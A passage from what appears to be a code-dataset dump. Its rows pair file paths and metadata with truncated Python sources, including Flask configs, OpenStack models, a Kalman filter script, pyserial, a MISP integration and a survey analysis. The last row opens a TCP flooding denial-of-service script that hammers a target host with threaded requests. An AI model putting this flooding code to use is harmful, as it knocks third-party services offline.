dir_path += '/cfg.ini'
class Configuration(object):
def __init__(self,debug=False):
section = "Flask-debug" if debug else "Flask"
cfg = configparser.ConfigParser()
cfg.read(dir_path if debug e... | import configparser
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
dir_path += '/cfg.ini'
class Configuration(object):
def __init__(self,debug=False):
section = "Flask-debug" if debug else "Flask"
cfg = configparser.ConfigParser()
cfg.read(dir_path if debug e... | none | 1 | 2.227138 | 2 | |
neutron/db/models/l3ha.py | cleo4zheng/neutron | 4 | 1879 | <filename>neutron/db/models/l3ha.py
# Copyright (C) 2014 eNov<NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | <filename>neutron/db/models/l3ha.py
# Copyright (C) 2014 eNov<NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | en | 0.866142 | # Copyright (C) 2014 eNov<NAME> <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t... | 1.788518 | 2 |
authentication/migrate.py | anae09/electionWebService | 0 | 1880 | <reponame>anae09/electionWebService
from flask import Flask;
from configuration import Configuration;
from flask_migrate import Migrate, init, migrate, upgrade;
from models import database, Role, UserRole, User;
from sqlalchemy_utils import database_exists, create_database;
application = Flask(__name__);
application.c... | from flask import Flask;
from configuration import Configuration;
from flask_migrate import Migrate, init, migrate, upgrade;
from models import database, Role, UserRole, User;
from sqlalchemy_utils import database_exists, create_database;
application = Flask(__name__);
application.config.from_object(Configuration);
m... | none | 1 | 2.368388 | 2 | |
output/ensemble_analysis.py | gitter-lab/pria-ams-enamine | 1 | 1881 | <filename>output/ensemble_analysis.py
from __future__ import print_function
import os
import json
import numpy as np
def extract(file_path):
if not os.path.isfile(file_path):
return -1, -1, -1
with open(file_path, 'r') as f:
lines = f.readlines()
test_roc, test_precision... | <filename>output/ensemble_analysis.py
from __future__ import print_function
import os
import json
import numpy as np
def extract(file_path):
if not os.path.isfile(file_path):
return -1, -1, -1
with open(file_path, 'r') as f:
lines = f.readlines()
test_roc, test_precision... | none | 1 | 2.671204 | 3 | |
openstack_dashboard/test/integration_tests/regions/messages.py | ankur-gupta91/block_storage | 1 | 1882 | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | en | 0.855314 | # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d... | 1.940379 | 2 |
model_input.py | bgarbin/GUIDE | 0 | 1883 | <reponame>bgarbin/GUIDE
# -*- coding: utf-8 -*-
import numpy as np
#import cmath as cm
# Main parameters for window
# 'record_every': number of time_steps one between two consecutive record events
window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True... | # -*- coding: utf-8 -*-
import numpy as np
#import cmath as cm
# Main parameters for window
# 'record_every': number of time_steps one between two consecutive record events
window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, ... | en | 0.736083 | # -*- coding: utf-8 -*- #import cmath as cm # Main parameters for window # 'record_every': number of time_steps one between two consecutive record events # Definition of the plot configuration Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as "value" with ... | 2.599025 | 3 |
input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py | Harshavardhan-BV/Cancer-compe-strat | 1 | 1884 | from multiprocessing import Pool
import EnvEq as ee
import numpy as np
import itertools as it
import os
#parsing input into numpy arrays
from input import *
y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])
p=np.array([p_o2,p_test])
mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])
lam=np.a... | from multiprocessing import Pool
import EnvEq as ee
import numpy as np
import itertools as it
import os
#parsing input into numpy arrays
from input import *
y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])
p=np.array([p_o2,p_test])
mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])
lam=np.a... | en | 0.518878 | #parsing input into numpy arrays #make directories for saving raw_outputs #iterator over these #calls the solve_eq function with all default inputs other than o2_lim #iterate over the o2_lims | 2.186459 | 2 |
task1_makeTrainingDataset.py | 1985312383/contest | 2 | 1885 | <filename>task1_makeTrainingDataset.py
import csv
import re
import numpy as np
thre = 1.5 # 要调整的参数,这个是阈值
iteration_num = 2 # 要调整的参数,这个是迭代次数
def KalmanFilter(z, n_iter=20):
# 卡尔曼滤波
# 这里是假设A=1,H=1的情况
# intial parameters
sz = (n_iter,) # size of array
# Q = 1e-5 # process variance
Q = 1e-6 ... | <filename>task1_makeTrainingDataset.py
import csv
import re
import numpy as np
thre = 1.5 # 要调整的参数,这个是阈值
iteration_num = 2 # 要调整的参数,这个是迭代次数
def KalmanFilter(z, n_iter=20):
# 卡尔曼滤波
# 这里是假设A=1,H=1的情况
# intial parameters
sz = (n_iter,) # size of array
# Q = 1e-5 # process variance
Q = 1e-6 ... | zh | 0.46271 | # 要调整的参数,这个是阈值 # 要调整的参数,这个是迭代次数 # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters # size of array # Q = 1e-5 # process variance # process variance # allocate space for arrays # a posteri estimate of x # a posteri error estimate # a priori estimate of x # a priori error estimate # gain or blending factor # estimate of measu... | 3.078253 | 3 |
checkmate/contrib/plugins/all/progpilot/setup.py | marcinguy/checkmate-ce | 0 | 1886 | <reponame>marcinguy/checkmate-ce<gh_stars>0
from .analyzer import ProgpilotAnalyzer
from .issues_data import issues_data
analyzers = {
'phpanlyzer' :
{
'name' : 'phpanalyzer',
'title' : 'phpanalyzer',
'class' : ProgpilotAnalyzer,
'language' : 'all',
... | from .analyzer import ProgpilotAnalyzer
from .issues_data import issues_data
analyzers = {
'phpanlyzer' :
{
'name' : 'phpanalyzer',
'title' : 'phpanalyzer',
'class' : ProgpilotAnalyzer,
'language' : 'all',
'issues_data' : issues_data,
},
} | none | 1 | 1.594475 | 2 | |
genlist.py | truckli/technotes | 0 | 1887 | <reponame>truckli/technotes
#!/usr/bin/env python
import shutil, re, os, sys
file_model = "Model.template"
bookname = "TechNotes"
file_bibtex = "thebib.bib"
folder_target = "../pdf/"
#if name is a chapter, return its sections
def get_sections(name):
if not os.path.isdir(name):
return []
files = os.l... | #!/usr/bin/env python
import shutil, re, os, sys
file_model = "Model.template"
bookname = "TechNotes"
file_bibtex = "thebib.bib"
folder_target = "../pdf/"
#if name is a chapter, return its sections
def get_sections(name):
if not os.path.isdir(name):
return []
files = os.listdir(name)
sections = ... | en | 0.485219 | #!/usr/bin/env python #if name is a chapter, return its sections #if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return False #if depend_files contains citation #if a file contains latex citation command \cite{} # if is_updated(object_pdf, depend_files): # ... | 2.407229 | 2 |
editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py | mattl1598/testing | 0 | 1888 | #!/usr/bin/env python
#
# Python Serial Port Extension for Win32, Linux, BSD, Jython
# module for serial IO for POSIX compatible systems, like Linux
# see __init__.py
#
# (C) 2001-2010 <NAME> <<EMAIL>>
# this is distributed under a free software license, see license.txt
#
# parts based on code from <NAME> <<EMAIL>>:
#... | #!/usr/bin/env python
#
# Python Serial Port Extension for Win32, Linux, BSD, Jython
# module for serial IO for POSIX compatible systems, like Linux
# see __init__.py
#
# (C) 2001-2010 <NAME> <<EMAIL>>
# this is distributed under a free software license, see license.txt
#
# parts based on code from <NAME> <<EMAIL>>:
#... | en | 0.803851 | #!/usr/bin/env python # # Python Serial Port Extension for Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a free software license, see license.txt # # parts based on code from <NAME> <<EMAIL>>: #... | 2.49388 | 2 |
Older Examples - enter at your own risk/lavender_pos/app/models.py | electricimp/examples | 26 | 1889 | <reponame>electricimp/examples
import datetime
from database import Base
from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
first_name = Column(String(255))
last_name = Column(String(255))
em... | import datetime
from database import Base
from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
first_name = Column(String(255))
last_name = Column(String(255))
email = Column(String(255), index... | en | 0.763817 | Callback for Flask-Login. Represents that unique ID of a given user object. It is unicoded as per specification. Returns: the unique ID of an object Callback for Flask-Login. Default to False - we don't deal with any anonymous users. Returns: False Callback for Flask-Login. Default to ... | 3.12282 | 3 |
rr_ml/nodes/end_to_end/train.py | ebretl/roboracing-software | 0 | 1890 | import os
import math
import string
import numpy as np
import rospy
import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \
GaussianNoise, BatchNormalization
import cv2
import collections
import random
import time
from example_s... | import os
import math
import string
import numpy as np
import rospy
import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \
GaussianNoise, BatchNormalization
import cv2
import collections
import random
import time
from example_s... | en | 0.699124 | # if the number of training examples is below this, load more data # 128 x 48 # 32 x 12 # 16 x 6 # create output bins # 40% of images are flipped | 2.752267 | 3 |
build/lib/Kronos_heureka_code/Zeit/__init__.py | heureka-code/Kronos-heureka-code | 0 | 1891 | <filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0
from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde
from Kronos_heureka_code.Zeit.Datum.Monat import Monate
from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung
from Kronos_heureka_code.Zeit.Datum.Tag import Tag
| <filename>build/lib/Kronos_heureka_code/Zeit/__init__.py<gh_stars>0
from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde
from Kronos_heureka_code.Zeit.Datum.Monat import Monate
from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung
from Kronos_heureka_code.Zeit.Datum.Tag import Tag
| none | 1 | 1.266121 | 1 | |
retro_star/utils/logger.py | cthoyt/retro_star | 65 | 1892 | <reponame>cthoyt/retro_star<filename>retro_star/utils/logger.py<gh_stars>10-100
import logging
def setup_logger(fname=None, silent=False):
if fname is None:
logging.basicConfig(
level=logging.INFO if not silent else logging.CRITICAL,
format='%(name)-12s: %(levelname)-8s %(message)s... | import logging
def setup_logger(fname=None, silent=False):
if fname is None:
logging.basicConfig(
level=logging.INFO if not silent else logging.CRITICAL,
format='%(name)-12s: %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M',
filemode='w'
)
els... | none | 1 | 2.803951 | 3 | |
Packs/MISP/Integrations/MISPV3/MISPV3.py | hiep4hiep/content | 0 | 1893 | # type: ignore
from typing import Union, List, Dict
from urllib.parse import urlparse
import urllib3
from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute
from pymisp.tools import GenericObjectGenerator
import copy
from pymisp.tools import FileObject
from CommonServerPytho... | # type: ignore
from typing import Union, List, Dict
from urllib.parse import urlparse
import urllib3
from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute
from pymisp.tools import GenericObjectGenerator
import copy
from pymisp.tools import FileObject
from CommonServerPytho... | en | 0.839104 | # type: ignore Do nothing with warnings # Disable requests warnings # Disable python warnings GLOBALS/PARAMS # type: ignore Extracting errors raised by PYMISP into readable response, for more information and examples please see UT: test_extract_error. Args: error: list of responses from error section ... | 2.172733 | 2 |
redmine/__init__.py | hugoseabra/redmine-task-generator | 0 | 1894 | from django.conf import settings
from redminelib import Redmine as DefaultRedmine
from .validator import RedmineInstanceValidator
class Redmine(DefaultRedmine):
def __init__(self, url=None, key=None):
url = url or settings.REDMINE_BASE_URL
key = key or settings.REDMINE_API_KEY
super().__i... | from django.conf import settings
from redminelib import Redmine as DefaultRedmine
from .validator import RedmineInstanceValidator
class Redmine(DefaultRedmine):
def __init__(self, url=None, key=None):
url = url or settings.REDMINE_BASE_URL
key = key or settings.REDMINE_API_KEY
super().__i... | none | 1 | 2.106514 | 2 | |
python_survey/finished_files/main.py | trenton3983/PyCharmProjects | 0 | 1895 | <gh_stars>0
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import scipy.stats
from finished_files.survey_data_dictionary import DATA_DICTIONARY
# Load data
# We want to take the names list from our data dictionary
names = [x.name for x in DATA_DICTIONARY]
# Generate the list of names to impo... | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import scipy.stats
from finished_files.survey_data_dictionary import DATA_DICTIONARY
# Load data
# We want to take the names list from our data dictionary
names = [x.name for x in DATA_DICTIONARY]
# Generate the list of names to import
usecols =... | en | 0.936215 | # Load data # We want to take the names list from our data dictionary # Generate the list of names to import # dtypes should be a dict of 'col_name' : dtype # same for converters #%% Clean up data: remove disqualified users # In the survey, any user who selected they don't use Python was then # disqualified from the re... | 3.54527 | 4 |
adet/modeling/embedmask/mask_pred.py | yinghdb/AdelaiDet | 3 | 1896 | import torch
from torch.nn import functional as F
from torch import nn
from torch.autograd import Variable
from adet.utils.comm import compute_locations, aligned_bilinear
def dice_coefficient(x, target):
eps = 1e-5
n_inst = x.size(0)
x = x.reshape(n_inst, -1)
target = target.reshape(n_inst, -1)
in... | import torch
from torch.nn import functional as F
from torch import nn
from torch.autograd import Variable
from adet.utils.comm import compute_locations, aligned_bilinear
def dice_coefficient(x, target):
eps = 1e-5
n_inst = x.size(0)
x = x.reshape(n_inst, -1)
target = target.reshape(n_inst, -1)
in... | en | 0.593788 | Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper # cover 1-pixel case Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\infty and +\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) # only void pixels, the gradients shou... | 2.232248 | 2 |
cloudferry/actions/prechecks/check_vmax_prerequisites.py | SVilgelm/CloudFerry | 6 | 1897 | # Copyright 2016 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | # Copyright 2016 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | en | 0.83328 | # Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,... | 1.715763 | 2 |
bongo/core.py | codeforamerica/bongo | 0 | 1898 | <reponame>codeforamerica/bongo
"""
A simple wrapper for the Bongo Iowa City bus API.
"""
import requests as req
class Bongo(object):
"""
A simple Python wrapper for the Bongo Iowa City bus API.
"""
def __init__(self, format='json'):
self.format = format
def get(self, endpoint, **kwargs)... | """
A simple wrapper for the Bongo Iowa City bus API.
"""
import requests as req
class Bongo(object):
"""
A simple Python wrapper for the Bongo Iowa City bus API.
"""
def __init__(self, format='json'):
self.format = format
def get(self, endpoint, **kwargs):
"""Perform a HTTP GET... | en | 0.617032 | A simple wrapper for the Bongo Iowa City bus API. A simple Python wrapper for the Bongo Iowa City bus API. Perform a HTTP GET request to the API and return the data. Convert a request based on the response type. # The `stoplist` endpoint insists that it's HTML. Get information on a specific route, or all route listings... | 3.321091 | 3 |
src/security/tcp_flooding.py | janaSunrise/useful-python-snippets | 1 | 1899 | import random
import socket
import string
import sys
import threading
import time
def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:
# Threading support
thread_num = 0
thread_num_mutex = threading.Lock()
# Utility function
def print_status() -> None:
global thre... | import random
import socket
import string
import sys
import threading
import time
def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:
# Threading support
thread_num = 0
thread_num_mutex = threading.Lock()
# Utility function
def print_status() -> None:
global thre... | en | 0.614802 | # Threading support # Utility function | 2.874525 | 3 |